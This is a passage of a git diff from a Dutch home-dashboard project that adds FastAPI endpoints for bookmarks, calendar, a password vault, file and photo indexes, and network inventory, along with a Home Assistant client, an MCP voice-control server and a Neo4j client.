+@router.put("/favorites/{fav_id}") +async def update_favorite(fav_id: int, data: FavoriteUpdate): + sets = [] + params = [] + for field in ["title", "url", "icon", "category", "sort_order", "is_pinned"]: + val = getattr(data, field, None) + if val is not None: + sets.append(f"{field} = %s") + params.append(val) + if not sets: + raise HTTPException(400, "Geen velden om te updaten") + sets.append("updated_at = NOW()") + params.append(fav_id) + row = query( + f"UPDATE favorites SET {', '.join(sets)} WHERE id = %s RETURNING *", + tuple(params), fetch="one" + ) + return row + +@router.delete("/favorites/{fav_id}") +async def delete_favorite(fav_id: int): + execute("DELETE FROM favorites WHERE id = %s", (fav_id,)) + return {"deleted": fav_id} + + +# ══════════════════════════════════════════════════════════════════════════════ +# CALENDAR +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/calendar") +async def get_events(days: int = 30): + rows = query( + """SELECT * FROM calendar_events + WHERE event_start >= NOW() - INTERVAL '1 day' + AND event_start < NOW() + (%s || ' days')::INTERVAL + ORDER BY event_start""", + (str(days),) + ) + return rows + +@router.post("/calendar") +async def create_event(data: CalendarEventCreate): + row = query( + """INSERT INTO calendar_events (title, description, location, event_start, event_end, all_day, category, color, recurrence_rule) + VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) RETURNING *""", + (data.title, data.description, data.location, + data.event_start, data.event_end, data.all_day, + data.category, data.color, data.recurrence_rule), + fetch="one" + ) + return row + +@router.put("/calendar/{event_id}") +async def update_event(event_id: int, data: CalendarEventCreate): + row = query( + """UPDATE calendar_events SET title=%s, description=%s, location=%s, + event_start=%s, event_end=%s, all_day=%s, category=%s, color=%s, + recurrence_rule=%s, updated_at=NOW() + WHERE id=%s RETURNING *""", + (data.title, data.description, data.location, + data.event_start, data.event_end, data.all_day, + data.category, data.color, data.recurrence_rule, event_id), + fetch="one" + ) + return row + +@router.delete("/calendar/{event_id}") +async def delete_event(event_id: int): + execute("DELETE FROM calendar_events WHERE id = %s", (event_id,)) + return {"deleted": event_id} + + +# ══════════════════════════════════════════════════════════════════════════════ +# PASSWORDS +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/passwords") +async def get_passwords(category: str | None = None, search: str | None = None): + if search: + rows = query( + "SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords WHERE title ILIKE %s OR url ILIKE %s ORDER BY title", + (f"%{search}%", f"%{search}%") + ) + elif category: + rows = query( + "SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords WHERE category = %s ORDER BY title", + (category,) + ) + else: + rows = query("SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords ORDER BY title") + return rows + +@router.get("/passwords/{pw_id}") +async def get_password(pw_id: int): + row = query("SELECT * FROM passwords WHERE id = %s", (pw_id,), fetch="one") + if not row: + raise HTTPException(404, "Niet gevonden") + if row.get("password_encrypted"): + row["password"] = _decrypt(row["password_encrypted"]) + del row["password_encrypted"] + # update last_used + execute("UPDATE passwords SET last_used = NOW() WHERE id = %s", (pw_id,)) + return row + +@router.post("/passwords") +async def create_password(data: PasswordCreate): + encrypted = _encrypt(data.password) + row = query( + """INSERT INTO passwords (title, url, username, password_encrypted, notes, category) + VALUES (%s, %s, %s, %s, %s, %s) RETURNING id, title, url, username, category, created_at""", + (data.title, data.url, data.username, encrypted, data.notes, data.category), + fetch="one" + ) + return row + +@router.put("/passwords/{pw_id}") +async def update_password(pw_id: int, data: PasswordUpdate): + sets = [] + params = [] + for field in ["title", "url", "username", "notes", "category"]: + val = getattr(data, field, None) + if val is not None: + sets.append(f"{field} = %s") + params.append(val) + if data.password is not None: + sets.append("password_encrypted = %s") + params.append(_encrypt(data.password)) + if not sets: + raise HTTPException(400, "Geen velden om te updaten") + sets.append("updated_at = NOW()") + params.append(pw_id) + return query( + f"UPDATE passwords SET {', '.join(sets)} WHERE id = %s RETURNING id, title, url, username, category", + tuple(params), fetch="one" + ) + +@router.delete("/passwords/{pw_id}") +async def delete_password(pw_id: int): + execute("DELETE FROM passwords WHERE id = %s", (pw_id,)) + return {"deleted": pw_id} + +# Browser-password import endpoint +@router.post("/passwords/import") +async def import_passwords(entries: list[PasswordCreate]): + count = 0 + for entry in entries: + encrypted = _encrypt(entry.password) + execute( + """INSERT INTO passwords (title, url, username, password_encrypted, notes, category) + VALUES (%s, %s, %s, %s, %s, %s) + ON CONFLICT DO NOTHING""", + (entry.title, entry.url, entry.username, encrypted, entry.notes, entry.category) + ) + count += 1 + return {"imported": count} + + +# ══════════════════════════════════════════════════════════════════════════════ +# FILE INDEX +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/files") +async def get_files( + file_type: str | None = None, + search: str | None = None, + source_host: str | None = None, + limit: int = 100, offset: int = 0 +): + conditions = [] + params = [] + if file_type: + conditions.append("file_type = %s") + params.append(file_type) + if search: + conditions.append("file_name ILIKE %s") + params.append(f"%{search}%") + if source_host: + conditions.append("source_host = %s") + params.append(source_host) + where = "WHERE " + " AND ".join(conditions) if conditions else "" + params.extend([limit, offset]) + rows = query( + f"SELECT * FROM file_index {where} ORDER BY file_name LIMIT %s OFFSET %s", + tuple(params) + ) + total = query( + f"SELECT count(*) as cnt FROM file_index {where}", + tuple(params[:-2]), fetch="one" + ) + return {"files": rows, "total": total["cnt"] if total else 0} + + +@router.get("/files/stats") +async def get_file_stats(): + rows = query( + "SELECT file_type, count(*) as cnt, sum(file_size) as total_size FROM file_index GROUP BY file_type ORDER BY cnt DESC" + ) + return rows + + +# ══════════════════════════════════════════════════════════════════════════════ +# PHOTOS +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/photos") +async def get_photos(person_id: int | None = None, limit: int = 50, offset: int = 0): + if person_id: + rows = query( + """SELECT p.*, fi.file_path, fi.file_name, fi.file_size, fi.source_host + FROM photos p JOIN file_index fi ON p.file_index_id = fi.id + JOIN photo_faces pf ON pf.photo_id = p.id + WHERE pf.person_id = %s + ORDER BY p.taken_at DESC NULLS LAST LIMIT %s OFFSET %s""", + (person_id, limit, offset) + ) + else: + rows = query( + """SELECT p.*, fi.file_path, fi.file_name, fi.file_size, fi.source_host + FROM photos p JOIN file_index fi ON p.file_index_id = fi.id + ORDER BY p.taken_at DESC NULLS LAST LIMIT %s OFFSET %s""", + (limit, offset) + ) + return rows + +@router.get("/photos/persons") +async def get_persons(): + return query("SELECT * FROM face_persons ORDER BY photo_count DESC") + + +# ══════════════════════════════════════════════════════════════════════════════ +# WIDGETS +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/widgets") +async def get_widgets(tab: str = "home"): + return query( + "SELECT * FROM dashboard_widgets WHERE tab_name = %s AND enabled = TRUE ORDER BY row, col", + (tab,) + ) + +@router.post("/widgets") +async def save_widgets(widgets: list[WidgetConfig]): + # Verwijder bestaande en insert nieuwe + if widgets: + tab = widgets[0].tab_name + execute("DELETE FROM dashboard_widgets WHERE tab_name = %s", (tab,)) + for w in widgets: + execute( + """INSERT INTO dashboard_widgets (widget_type, title, config, col, row, width, height, enabled, tab_name) + VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)""", + (w.widget_type, w.title, json.dumps(w.config), + w.col, w.row, w.width, w.height, w.enabled, w.tab_name) + ) + return {"saved": len(widgets)} + + +# ══════════════════════════════════════════════════════════════════════════════ +# SETTINGS +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/settings") +async def get_settings(): + rows = query("SELECT * FROM settings") + return {r["key"]: r["value"] for r in rows} + +@router.put("/settings/{key}") +async def update_setting(key: str, value: str): + execute( + "INSERT INTO settings (key, value, updated_at) VALUES (%s, %s, NOW()) ON CONFLICT (key) DO UPDATE SET value = %s, updated_at = NOW()", + (key, value, value) + ) + return {"key": key, "value": value} + + +# ══════════════════════════════════════════════════════════════════════════════ +# SYSTEMS & NETWORK (live uit Neo4j graph database) +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/systems") +async def get_systems(os: str | None = None, port: int | None = None): + """Alle systemen in het thuisnetwerk (uit Neo4j). + + Optionele filters: + - os: filter op OS-substring (bijv. "Windows", "Linux", "ESP32") + - port: filter op open poort (bijv. 22, 443, 8123) + """ + if not _neo4j_available: + raise HTTPException(503, "Neo4j niet beschikbaar") + + try: + if port is not None: + devices = get_devices_by_port(port) + elif os is not None: + devices = get_devices_by_os(os) + else: + devices = get_all_devices() + + # Verrijk met poort-informatie + result = [] + for d in devices: + ports = sorted([ + p.get("port") for p in (d.get("ports") or []) + if p and p.get("port") + ]) + result.append({ + "ip": d.get("ip"), + "hostname": d.get("hostname", ""), + "mac": d.get("mac", ""), + "os_guess": d.get("os_guess", ""), + "first_seen": str(d.get("first_seen", "")), + "last_seen": str(d.get("last_seen", "")), + "open_ports": ports, + "port_count": len(ports), + }) + return result + except Exception as e: + raise HTTPException(500, f"Neo4j query fout: {e}") + + +@router.get("/systems/{ip}") +async def get_system_detail(ip: str): + """Detail van één systeem inclusief alle poorten en banners.""" + if not _neo4j_available: + raise HTTPException(503, "Neo4j niet beschikbaar") + + try: + device = get_device(ip) + if not device: + raise HTTPException(404, f"Systeem {ip} niet gevonden") + + ports = [] + for p in (device.get("ports") or []): + if p and p.get("port"): + ports.append({ + "port": p["port"], + "service": p.get("service", "unknown"), + "banner": p.get("banner", ""), + }) + + return { + "ip": device.get("ip"), + "hostname": device.get("hostname", ""), + "mac": device.get("mac", ""), + "os_guess": device.get("os_guess", ""), + "first_seen": str(device.get("first_seen", "")), + "last_seen": str(device.get("last_seen", "")), + "ports": sorted(ports, key=lambda p: p["port"]), + } + except HTTPException: + raise + except Exception as e: + raise HTTPException(500, f"Neo4j query fout: {e}") + + +@router.get("/network") +async def get_network(): + """Netwerkoverzicht: samenvatting + alle devices + scan historie.""" + if not _neo4j_available: + raise HTTPException(503, "Neo4j niet beschikbaar") + + try: + summary = get_network_summary() + devices = get_all_devices() + history = get_scan_history(limit=3) + + # OS-categorieën tellen + from collections import Counter + os_categories = Counter( + d.get("os_guess", "Onbekend") for d in devices + ) + + # Poort-statistieken + all_ports = [] + for d in devices: + for p in (d.get("ports") or []): + if p and p.get("port"): + all_ports.append(p["port"]) + port_counts = Counter(all_ports) + + # Devices verrijken + device_list = [] + for d in devices: + ports = sorted([ + p.get("port") for p in (d.get("ports") or []) + if p and p.get("port") + ]) + device_list.append({ + "ip": d.get("ip"), + "hostname": d.get("hostname", ""), + "mac": d.get("mac", ""), + "os_guess": d.get("os_guess", ""), + "open_ports": ports, + "last_seen": str(d.get("last_seen", "")), + }) + + return { + "summary": { + "total_devices": summary.get("total_devices", 0), + "total_ports": summary.get("total_ports", 0), + "os_categories": dict(os_categories.most_common()), + "top_ports": [ + {"port": p, "count": c} + for p, c in port_counts.most_common(10) + ], + }, + "devices": device_list, + "scan_history": [ + { + "id": s.get("id"), + "timestamp": str(s.get("timestamp", "")), + "hosts_active": s.get("hosts_active"), + } + for s in history + ], + } + except Exception as e: + raise HTTPException(500, f"Neo4j query fout: {e}") + + +# ══════════════════════════════════════════════════════════════════════════════ +# CONFIG & SETTINGS OVERZICHT +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/config") +async def get_config(): + """Volledig configuratie-overzicht: settings + HA info + database status.""" + import config as app_config + from src.pg_client import query as pg_query + + settings_rows = pg_query("SELECT * FROM settings") + settings = {r["key"]: r["value"] for r in settings_rows} + + # Tel alles voor status-overzicht + fav_count = pg_query("SELECT count(*) as c FROM favorites", fetch="one")["c"] + pw_count = pg_query("SELECT count(*) as c FROM passwords", fetch="one")["c"] + ev_count = pg_query("SELECT count(*) as c FROM calendar_events", fetch="one")["c"] + file_count = pg_query("SELECT count(*) as c FROM file_index", fetch="one")["c"] + photo_count = pg_query("SELECT count(*) as c FROM photos", fetch="one")["c"] + + network_devices = 0 + last_scan = None + if _neo4j_available: + try: + summary = get_network_summary() + network_devices = summary.get("total_devices", 0) + scans = get_scan_history(limit=1) + if scans: + last_scan = str(scans[0].get("timestamp", "")) + except Exception: + pass + + return { + "settings": settings, + "connections": { + "home_assistant": { + "url": app_config.HA_URL, + "connected": bool(app_config.HA_TOKEN), + }, + "postgresql": { + "host": app_config.PG_HOST, + "port": app_config.PG_PORT, + "database": app_config.PG_DATABASE, + "user": app_config.PG_USER, + }, + "neo4j": { + "uri": app_config.NEO4J_URI, + "user": app_config.NEO4J_USER, + "available": _neo4j_available, + "devices": network_devices, + "last_scan": last_scan, + }, + }, + "counts": { + "favorites": fav_count, + "passwords": pw_count, + "calendar_events": ev_count, + "files_indexed": file_count, + "photos_indexed": photo_count, + "network_devices": network_devices, + }, + "server": { + "host": app_config.WEB_HOST, + "port": app_config.WEB_PORT, + "whisper_mode": app_config.WHISPER_MODE, + "whisper_model": app_config.WHISPER_MODEL, + "whisper_device": app_config.WHISPER_DEVICE, + }, + } + + +# ══════════════════════════════════════════════════════════════════════════════ +# DASHBOARD OVERVIEW (samenvatting voor home-tab) +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/overview") +async def get_overview(): + network_devices = 0 + last_scan = None + if _neo4j_available: + try: + summary = get_network_summary() + network_devices = summary.get("total_devices", 0) + scans = get_scan_history(limit=1) + if scans: + last_scan = str(scans[0].get("timestamp", "")) + except Exception: + pass + + return { + "favorites_count": query("SELECT count(*) as c FROM favorites", fetch="one")["c"], + "today_events": query( + "SELECT * FROM calendar_events WHERE event_start::date = CURRENT_DATE ORDER BY event_start" + ), + "upcoming_events": query( + "SELECT * FROM calendar_events WHERE event_start > NOW() ORDER BY event_start LIMIT 5" + ), + "file_stats": query( + "SELECT file_type, count(*) as cnt FROM file_index GROUP BY file_type ORDER BY cnt DESC" + ), + "recent_files": query( + "SELECT * FROM file_index ORDER BY indexed_at DESC LIMIT 10" + ), + "password_count": query("SELECT count(*) as c FROM passwords", fetch="one")["c"], + "photo_count": query("SELECT count(*) as c FROM photos", fetch="one")["c"], + "network_devices": network_devices, + "last_scan": last_scan, + } diff --git a/src/ha_client.py b/src/ha_client.py new file mode 100644 index 0000000..6e314c3 --- /dev/null +++ b/src/ha_client.py @@ -0,0 +1,117 @@ +""" +Home Assistant REST API client. +Gebruikt een long-lived access token voor authenticatie. +""" + +from __future__ import annotations + +import httpx + +import config + + +class HAClient: + """Async client voor de Home Assistant REST API.""" + + def __init__(self) -> None: + self._base = config.HA_URL.rstrip("/") + self._token = config.HA_TOKEN + self._headers = { + "Authorization": f"Bearer {self._token}", + "Content-Type": "application/json", + } + + # ── low-level HTTP ────────────────────────────────────────────────────── + + async def _get(self, path: str) -> dict: + async with httpx.AsyncClient(timeout=15.0) as client: + resp = await client.get( + f"{self._base}{path}", headers=self._headers + ) + resp.raise_for_status() + return resp.json() + + async def _post(self, path: str, json_data: dict | None = None) -> dict: + async with httpx.AsyncClient(timeout=15.0) as client: + resp = await client.post( + f"{self._base}{path}", + headers=self._headers, + json=json_data or {}, + ) + resp.raise_for_status() + return resp.json() + + # ── state ─────────────────────────────────────────────────────────────── + + async def get_states(self) -> list[dict]: + """Retourneer alle entity states.""" + return await self._get("/api/states") + + async def get_entity_state(self, entity_id: str) -> dict: + """Retourneer de state van één entity.""" + return await self._get(f"/api/states/{entity_id}") + + # ── services ──────────────────────────────────────────────────────────── + + async def call_service( + self, + domain: str, + service: str, + target: dict | None = None, + **service_data, + ) -> dict: + """Roep een Home Assistant service aan. + + Voorbeeld: + call_service("light", "turn_on", entity_id="light.woonkamer") + """ + payload: dict = {} + if target: + payload["target"] = target + if service_data: + payload.update(service_data) + return await self._post(f"/api/services/{domain}/{service}", payload) + + # ── conversation agent ────────────────────────────────────────────────── + + async def process_conversation(self, text: str) -> dict: + """Stuur natuurlijke taal naar de HA conversation agent. + + Dit gebruikt HA's ingebouwde intent-herkenning om tekst om te zetten + naar acties (bijv. "doe de lampen uit" → light.turn_off). + """ + payload = { + "text": text, + "language": "nl", # Nederlands + } + return await self._post("/api/conversation/process", payload) + + # ── convenience ───────────────────────────────────────────────────────── + + async def list_lights(self) -> list[dict]: + """Retourneer alleen light entities met hun states.""" + states = await self.get_states() + return [s for s in states if s.get("entity_id", "").startswith("light.")] + + async def control_light( + self, + entity_id: str, + action: str, # "turn_on", "turn_off", "toggle" + brightness: int | None = None, # 0-255 + color_name: str | None = None, + ) -> dict: + """Bedien een licht met optionele helderheid/kleur.""" + data: dict = {"entity_id": entity_id} + if brightness is not None: + data["brightness"] = max(0, min(255, brightness)) + if color_name: + data["color_name"] = color_name + return await self.call_service("light", action, **data) + + async def list_all_entities(self, domain: str | None = None) -> list[dict]: + """Retourneer entities, optioneel gefilterd op domein.""" + states = await self.get_states() + if domain: + prefix = f"{domain}." + return [s for s in states if s.get("entity_id", "").startswith(prefix)] + return states diff --git a/src/mcp_server.py b/src/mcp_server.py new file mode 100644 index 0000000..242ac27 --- /dev/null +++ b/src/mcp_server.py @@ -0,0 +1,470 @@ +""" +MCP stdio server die Home Assistant voice-control tools registreert. + +Gebruik: + python -m src.mcp_server + +De server communiceert via stdin/stdout volgens het MCP-protocol. +""" + +from __future__ import annotations + +import asyncio +import base64 +import json +import logging +import sys + +from mcp.server import FastMCP +from mcp.server.stdio import stdio_server +from mcp.types import Tool, TextContent + +from src.ha_client import HAClient +from src import whisper_client + +# ── logging ───────────────────────────────────────────────────────────────── + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(name)s: %(message)s", + stream=sys.stderr, # stdio is voor MCP; logs naar stderr +) +logger = logging.getLogger("mcp-ha-voice") + +# ── server setup ──────────────────────────────────────────────────────────── + +server = FastMCP("ha-voice-control") +ha = HAClient() + + +# ── helpers ───────────────────────────────────────────────────────────────── + +def _json_result(data) -> str: + """Formatteer data als pretty-printed JSON string.""" + return json.dumps(data, ensure_ascii=False, indent=2, default=str) + + +# ── tools ─────────────────────────────────────────────────────────────────── + + +@server.tool() +async def speak_command(audio_base64: str) -> list[TextContent]: + """Spraakcommando: transcribeer audio en voer uit via Home Assistant. + + Args: + audio_base64: Base64-gecodeerde WAV-audio opname. + + Returns: + Transcriptie en resultaat van de uitgevoerde actie. + """ + try: + audio_bytes = base64.b64decode(audio_base64) + except Exception as e: + return [TextContent(type="text", text=f"Fout bij decoderen audio: {e}")] + + try: + text = await whisper_client.transcribe(audio_bytes) + except Exception as e: + logger.exception("Transcriptie mislukt") + return [TextContent(type="text", text=f"Transcriptie fout: {e}")] + + if not text.strip(): + return [TextContent(type="text", text="Geen spraak gedetecteerd in de audio.")] + + try: + result = await ha.process_conversation(text) + except Exception as e: + logger.exception("Home Assistant aanroep mislukt") + return [ + TextContent( + type="text", + text=f"Transcriptie: \"{text}\"\nFout bij uitvoeren: {e}", + ) + ] + + return [ + TextContent( + type="text", + text=f"Transcriptie: \"{text}\"\nResultaat:\n{_json_result(result)}", + ) + ] + + +@server.tool() +async def transcribe_audio(audio_base64: str) -> list[TextContent]: + """Alleen transcriberen, geen actie uitvoeren. + + Args: + audio_base64: Base64-gecodeerde WAV-audio opname. + + Returns: + De herkende tekst. + """ + try: + audio_bytes = base64.b64decode(audio_base64) + except Exception as e: + return [TextContent(type="text", text=f"Fout bij decoderen audio: {e}")] + + try: + text = await whisper_client.transcribe(audio_bytes) + except Exception as e: + logger.exception("Transcriptie mislukt") + return [TextContent(type="text", text=f"Transcriptie fout: {e}")] + + return [TextContent(type="text", text=text or "(stilte)")] + + +@server.tool() +async def send_text_command(text: str) -> list[TextContent]: + """Stuur een tekstcommando naar de Home Assistant conversation agent. + + Args: + text: Het commando in natuurlijke taal (bijv. "doe de lampen uit"). + + Returns: + Het resultaat van de conversation agent. + """ + try: + result = await ha.process_conversation(text) + except Exception as e: + logger.exception("Conversation agent fout") + return [TextContent(type="text", text=f"Fout: {e}")] + + return [TextContent(type="text", text=_json_result(result))] + + +@server.tool() +async def list_lights() -> list[TextContent]: + """Toon alle lampen met hun huidige status (aan/uit, helderheid, kleur).""" + try: + lights = await ha.list_lights() + except Exception as e: + return [TextContent(type="text", text=f"Fout bij ophalen lampen: {e}")] + + if not lights: + return [TextContent(type="text", text="Geen lampen gevonden in Home Assistant.")] + + summary = [] + for light in lights: + entity_id = light.get("entity_id", "?") + state = light.get("state", "?") + attrs = light.get("attributes", {}) + friendly = attrs.get("friendly_name", entity_id) + brightness = attrs.get("brightness", "NVT") + summary.append( + f" • {friendly} ({entity_id}): {state}" + + (f", helderheid={brightness}" if state == "on" else "") + ) + + return [TextContent(type="text", text="Lampen:\n" + "\n".join(summary))] + + +@server.tool() +async def control_light( + entity_id: str, + action: str, + brightness: int | None = None, + color_name: str | None = None, +) -> list[TextContent]: + """Bedien een specifiek licht. + + Args: + entity_id: Entity ID van de lamp (bijv. "light.woonkamer"). + action: "turn_on", "turn_off", of "toggle". + brightness: Helderheid 0-255 (optioneel). + color_name: Kleurnaam zoals "red", "blue" (optioneel). + + Returns: + Bevestiging van de actie. + """ + valid_actions = {"turn_on", "turn_off", "toggle"} + if action not in valid_actions: + return [ + TextContent( + type="text", + text=f"Ongeldige actie '{action}'. Kies uit: {', '.join(sorted(valid_actions))}", + ) + ] + + try: + result = await ha.control_light(entity_id, action, brightness, color_name) + except Exception as e: + logger.exception("Controleren lamp mislukt") + return [TextContent(type="text", text=f"Fout: {e}")] + + return [ + TextContent( + type="text", + text=f"Actie '{action}' uitgevoerd op {entity_id}.\n{_json_result(result)}", + ) + ] + + +@server.tool() +async def list_all_entities(domain: str | None = None) -> list[TextContent]: + """Toon alle Home Assistant entities, optioneel gefilterd op domein. + + Args: + domain: Filter op domein (bijv. "light", "switch", "sensor"). None = alles. + + Returns: + Lijst van entities en hun states. + """ + try: + entities = await ha.list_all_entities(domain) + except Exception as e: + return [TextContent(type="text", text=f"Fout bij ophalen entities: {e}")] + + lines = [] + for e in entities[:100]: # limiet om output beheersbaar te houden + eid = e.get("entity_id", "?") + state = e.get("state", "?") + friendly = (e.get("attributes", {}) or {}).get("friendly_name", "") + label = f"{friendly} ({eid})" if friendly else eid + lines.append(f" • {label}: {state}") + + if len(entities) > 100: + lines.append(f" ... en {len(entities) - 100} meer") + + header = f"Entities ({domain or 'alle'}):\n" + return [TextContent(type="text", text=header + "\n".join(lines))] + + +@server.tool() +async def get_entity_state(entity_id: str) -> list[TextContent]: + """Haal de huidige state op van één entity. + + Args: + entity_id: Volledige entity ID (bijv. "light.woonkamer"). + + Returns: + De volledige state met attributen. + """ + try: + state = await ha.get_entity_state(entity_id) + except Exception as e: + return [TextContent(type="text", text=f"Fout: {e}")] + + return [TextContent(type="text", text=_json_result(state))] + + +@server.tool() +async def call_ha_service( + domain: str, + service: str, + entity_id: str | None = None, +) -> list[TextContent]: + """Roep een willekeurige Home Assistant service aan. + + Args: + domain: Service domein (bijv. "light", "switch", "script"). + service: Service naam (bijv. "turn_on", "turn_off"). + entity_id: Optionele target entity ID. + + Returns: + Het resultaat van de service call. + """ + target = {"entity_id": entity_id} if entity_id else None + try: + result = await ha.call_service(domain, service, target=target) + except Exception as e: + return [TextContent(type="text", text=f"Fout: {e}")] + + return [TextContent(type="text", text=_json_result(result))] + + +# ── Neo4j netwerk queries ──────────────────────────────────────────────────── + + +@server.tool() +async def query_network(query_type: str = "all", param: str = "") -> list[TextContent]: + """Bevraag de Neo4j netwerkdatabase met alle bekende thuisnetwerk-apparaten. + + Args: + query_type: Type query: + "all" - alle devices met poorten + "device" - een specifiek IP (geef IP mee als param) + "by_os" - filter op OS (bijv. "Windows", "Linux", "ESP32") + "by_port" - filter op open poort (bijv. "22" voor SSH) + "scan_history" - recente scan runs + "summary" - netwerk samenvatting + param: IP, OS-substring, of poortnummer (afhankelijk van query_type) + + Returns: + De gevraagde data als JSON. + """ + try: + from src.neo4j_client import ( + get_all_devices, get_device, get_devices_by_os, + get_devices_by_port, get_scan_history, get_network_summary, + ) + except ImportError: + return [TextContent(type="text", text="Neo4j module niet beschikbaar. Installeer: pip install neo4j")] + + try: + if query_type == "all": + data = get_all_devices() + elif query_type == "device" and param: + d = get_device(param) + data = [d] if d else [] + elif query_type == "by_os" and param: + data = get_devices_by_os(param) + elif query_type == "by_port" and param: + data = get_devices_by_port(int(param)) + elif query_type == "scan_history": + data = get_scan_history() + elif query_type == "summary": + data = [get_network_summary()] + else: + return [TextContent(type="text", + text=f"Gebruik: query_type=all|device|by_os|by_port|scan_history|summary (param indien nodig)")] + + return [TextContent(type="text", text=_json_result(data))] + except Exception as e: + logger.exception("Neo4j query fout") + return [TextContent(type="text", text=f"Neo4j fout: {e}")] + + +@server.tool() +async def get_network_context() -> list[TextContent]: + """RETOURNEERT VOLLEDIGE THUISNETWERK CONTEXT VOOR RAG. + + Gebruik deze tool om context op te halen over het thuisnetwerk en homelab. + Dit geeft een compleet overzicht van alle apparaten, hun IP-adressen, + hostnames, besturingssystemen, open poorten, en services. + + Geschikt voor: + - Context bij het openen van mappen/configuraties in DeepSeek TUI + - Netwerk-topologie begrijpen + - Troubleshooting van connectiviteit + - Alle IP-adressen en poorten van je homelab + + Returns: + Een gestructureerde tekst-samenvatting van het hele thuisnetwerk. + """ + try: + from src.neo4j_client import ( + get_all_devices, get_scan_history, get_network_summary, + ) + except ImportError: + return [TextContent(type="text", text="Neo4j niet beschikbaar. Installeer: pip install neo4j")] + + try: + summary = get_network_summary() + devices = get_all_devices() + history = get_scan_history(limit=3) + + lines = [] + lines.append("=" * 60) + lines.append("THUISNETWERK & HOMELAB — NETWERK CONTEXT") + lines.append("=" * 60) + lines.append(f"Netwerk: 192.168.1.0/24") + lines.append(f"Apparaten: {summary.get('total_devices', 0)}") + lines.append(f"Unieke open poorten: {summary.get('total_ports', 0)}") + lines.append("") + + # Categorieen + from collections import Counter + cats = Counter(d.get("os_guess", "Onbekend") for d in devices) + lines.append("--- OS Categorieën ---") + for cat, cnt in cats.most_common(): + lines.append(f" {cat}: {cnt}x") + + # Alle devices + lines.append("") + lines.append("--- Alle Apparaten ---") + # Groepeer op type + router = [d for d in devices if "Router" in (d.get("os_guess") or "")] + linux_srv = [d for d in devices if "Linux" in (d.get("os_guess") or "") and "Router" not in (d.get("os_guess") or "")] + windows = [d for d in devices if "Windows" in (d.get("os_guess") or "")] + unifi = [d for d in devices if "UniFi" in (d.get("os_guess") or "")] + esp32 = [d for d in devices if "ESP32" in (d.get("os_guess") or "")] + nas = [d for d in devices if "Synology" in (d.get("os_guess") or "")] + ha = [d for d in devices if "Home Assistant" in (d.get("os_guess") or "")] + other = [d for d in devices if d not in router + linux_srv + windows + unifi + esp32 + nas + ha] + + def fmt_device(d): + ports = sorted([p.get("port") for p in (d.get("ports") or []) if p and p.get("port")]) + port_str = ", ".join(f":{p}" for p in ports) if ports else "geen open poorten" + hostname = d.get("hostname", "") + return f" {d['ip']:<16} {hostname:<35} {port_str}" + + if router: + lines.append("\n[Gateway/Router]") + for d in router: + lines.append(fmt_device(d)) + if nas: + lines.append("\n[NAS]") + for d in nas: + lines.append(fmt_device(d)) + if ha: + lines.append("\n[Home Assistant]") + for d in ha: + lines.append(fmt_device(d)) + if linux_srv: + lines.append("\n[Linux Servers]") + for d in linux_srv: + lines.append(fmt_device(d)) + if windows: + lines.append("\n[Windows]") + for d in windows: + lines.append(fmt_device(d)) + if unifi: + lines.append("\n[UniFi Apparatuur]") + for d in unifi: + lines.append(fmt_device(d)) + if esp32: + lines.append("\n[ESP32 IoT]") + for d in esp32: + lines.append(fmt_device(d)) + if other: + lines.append("\n[Overig]") + for d in other: + lines.append(fmt_device(d)) + + # Belangrijke services + lines.append("") + lines.append("--- Belangrijke Services & URLs ---") + service_map = { + "192.168.1.1": "UniFi Dream Machine (Gateway)", + "192.168.1.6": "Vaultwarden (password manager) :8000", + "192.168.1.24": "UniFi Controller :443", + "192.168.1.118": "Kassa Dev Server (PostgreSQL :5432)", + "192.168.1.142": "Linkwarden (bookmarks) :80", + "192.168.1.211": "Synology NAS — DSM :5000 | PostgreSQL :5433 | Neo4j :49153 | Portainer :9000 | AdGuard :3000 | Homarr :4755 | Excalidraw :3765", + "192.168.1.235": "Home Assistant :8123", + "192.168.1.227": "Docker Host :8000", + } + for d in devices: + ip = d["ip"] + if ip in service_map: + lines.append(f" {ip} — {service_map[ip]}") + + # Scan history + lines.append("") + lines.append("--- Laatste Scans ---") + for s in history: + ts = str(s.get("timestamp", "?"))[:16].replace("T", " ") + lines.append(f" {s.get('id')} @ {ts} — {s.get('hosts_active')} hosts") + + lines.append("") + lines.append("=" * 60) + + return [TextContent(type="text", text="\n".join(lines))] + + except Exception as e: + logger.exception("Netwerk context ophalen mislukt") + return [TextContent(type="text", text=f"Fout bij ophalen netwerkcontext: {e}")] + + +# ── entry point ───────────────────────────────────────────────────────────── + + +def main() -> None: + """Start de MCP server via stdio.""" + logger.info("Starten van MCP Home Assistant Voice Control server...") + server.run(transport="stdio") + + +if __name__ == "__main__": + main() diff --git a/src/neo4j_client.py b/src/neo4j_client.py new file mode 100644 index 0000000..6558503 --- /dev/null +++ b/src/neo4j_client.py @@ -0,0 +1,277 @@ +""" +Neo4j graph database client voor thuisnetwerk-inventaris. + +Schema: + (d:Device {ip, hostname, mac, os_guess, first_seen, last_seen}) + (p:Port {number, protocol, service, banner}) + (s:ScanRun {id, timestamp, network, hosts_scanned, hosts_active}) + +Relaties: + (d)-[:HAS_PORT]->(p) + (d)-[:FOUND_IN]->(s) + +Alle imports zijn upsert (MERGE) — herhaald scannen overschrijft niet maar vult aan. +""" + +from __future__ import annotations + +import logging +from datetime import datetime, timezone + +from neo4j import GraphDatabase, Driver + +import config + +logger = logging.getLogger(__name__) + +_driver: Driver | None = None + + +def get_driver() -> Driver: + global _driver + if _driver is None: + _driver = GraphDatabase.driver( + config.NEO4J_URI, + auth=(config.NEO4J_USER, config.NEO4J_PASSWORD), + ) + _driver.verify_connectivity() + logger.info("Verbonden met Neo4j op %s", config.NEO4J_URI) + return 